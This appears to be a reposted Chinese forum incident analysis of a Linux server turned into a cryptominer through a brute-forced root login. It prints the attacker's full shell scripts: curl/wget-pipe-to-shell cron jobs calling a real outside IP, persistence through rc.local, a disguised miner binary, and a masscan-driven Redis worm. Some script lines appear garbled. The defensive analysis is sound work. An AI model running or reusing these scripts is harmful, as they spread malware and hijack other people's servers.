记一次Linux被入侵，服务器变“矿机”全过程
周一早上刚到办公室，就听到同事说有一台服务器登陆不上了，我也没放在心上，继续边吃早点，边看币价是不是又跌了。
不一会运维的同事也到了，气喘吁吁的说：我们有台服务器被阿里云冻结了，理由：对外恶意发包。
SSH 连了一下，被拒绝了，问了下默认的 22 端口被封了。
让运维的同事把端口改了一下，立马连上去，顺便看了一下登录名 ：root，还有不足 8 位的小白密码，心里一凉：被黑了！
查找线索
服务器系统 CentOS 6.X，部署了 Nginx，Tomcat，Redis 等应用，上来先把数据库全备份到本地，然后 Top 命令看了一下，有 2 个 99% 的同名进程还在运行，叫 gpg-agentd。
Google 了一下 GPG，结果是：GPG 提供的 gpg-agent 提供了对 SSH 协议的支持，这个功能可以大大简化密钥的管理工作。
看起来像是一个很正经的程序嘛，但仔细再看看服务器上的进程后面还跟着一个字母 d，伪装的很好，让人想起来 Windows 上各种看起来像 svchost.exe 的病毒。
继续排查：
ps eho command -p 23374netstat -pan | grep 23374
查看 pid：23374 进程启动路径和网络状况，也就是来到了图 1 的目录，到此已经找到了黑客留下的二进制可执行文件。
接下来还有 2 个问题在等着我：
文件是怎么上传的？
这个文件的目的是什么，或是黑客想干嘛？
History 看一下，记录果然都被清掉了，没留下任何痕迹。继续命令 more messages：
看到了在半夜 12 点左右，在服务器上装了很多软件，其中有几个软件引起了我的注意，下面详细讲。
边找边猜，如果我们要做坏事，大概会在哪里做文章，自动启动？定时启动？对，计划任务：
crontab -e
果然，线索找到了。
作案动机
上面的计划任务的意思就是每 15 分钟去服务器上下载一个脚本，并且执行这个脚本。
我们把脚本下载下来看一下：
curl -fsSL 159.89.190.243/ash.php > ash.sh
脚本内容如下：
uname -a
id
hostname
setenforce 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root
echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root
yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null
bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null
大致分析一下该脚本的主要用途：首先是关闭 SELinux，解除 Shell 资源访问限制，然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公钥。
这样每次黑客登录这台服务器就可以免密码登录了，执行脚本就会方便很多。
接下来安装 Bash，最后是继续下载第二个脚本 bsh.php，并且执行。继续下载并分析 bsh.pbp，内容如下：
sleep $( seq 3 7 | sort -R | head -n1 )
cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh
"' >> .dat
echo 'set backup2 "*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh
"' >> .dat
echo 'set backup3 "*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh
"' >> .dat
echo 'set backup4 "*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh
"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 .../ 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379,6380 192.168../16 172.16../16 116.62../16 116.232../16 116.128../16 116.163../16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null
如果说前两个脚本只是在服务器上下载执行了二进制文件，那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。
一开始的修改系统环境没什么好说的，接下来的写文件操作有点眼熟，如果用过 Redis 的人，应该能猜到，这里是对 Redis 进行配置。
写这个配置，自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞，结果就是用本地的私钥去登陆被写入公钥的服务器了，无需密码就可以登陆，也就是我们文章最开始的 /root/.ssh/authorized_keys。
登录之后就开始定期执行计划任务，下载脚本。好了，配置文件准备好了，就开始利用 Masscan 进行全网扫描 Redis 服务器，寻找肉鸡。
注意看这 6379 就是 Redis 服务器的默认端口，如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0，并且没有密码保护，不好意思，你就中招了。
总结
通过依次分析这 3 个脚本，就能看出这个病毒的可怕之处，先是通过写入 ssh public key 拿到登录权限，然后下载执行远程二进制文件，最后再通过 Redis 漏洞复制，迅速在全网传播，以指数级速度增长。
那么问题是，这台服务器是怎么中招的呢？看了下 redis.conf，Bind 的地址是 127.0.0.1，没啥问题。
由此可以推断，应该是 Root 帐号被暴力破解了，为了验证我的想法，我 Lastb 看了一下，果然有大量的记录：
还剩最后一个问题，这个 gpg-agentd 程序到底是干什么的呢？我当时的第一个反应就是矿机，因为现在数字货币太火了，加大了分布式矿机的需求，也就催生了这条灰色产业链。
于是，顺手把这个 gpg-agentd 拖到 Ida 中，用 String 搜索 bitcoin，eth，mine 等相关单词，最终发现了这个：
打开 nicehash.com 看一下，一切都清晰了：
安全建议
服务器：
禁用 ROOT
用户名和密码尽量复杂
修改 SSH 的默认 22 端口
安装 DenyHosts 防暴力破解软件
禁用密码登录，使用 RSA 公钥登录
Redis：
禁用公网 IP 监听，包括 0.0.0.0
使用密码限制访问 Redis
使用较低权限帐号运行 Redis
到此，整个入侵过程基本分析完了，如果大家对样本有兴趣，也可以自行去 Curl，或是去虚拟机执行上面的脚本。鉴于本人能力有限，文中难免会出现疏忽或是错误，还请大家多多指正。
文章源于：看雪论坛 Hefe
今日福利：
2019版Linux云计算+运维开发路线图
删库也不怕!2小时教你玩转企业级数据库备份与还原
https://pan.baidu.com/s/16DMOuvwOwD8biekriLao5Q
链接：https://pan.baidu.com/s/1kFiMox_vrUR3xyasvkJFlA 提取码：ha99
免责声明：
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的，并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据，供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
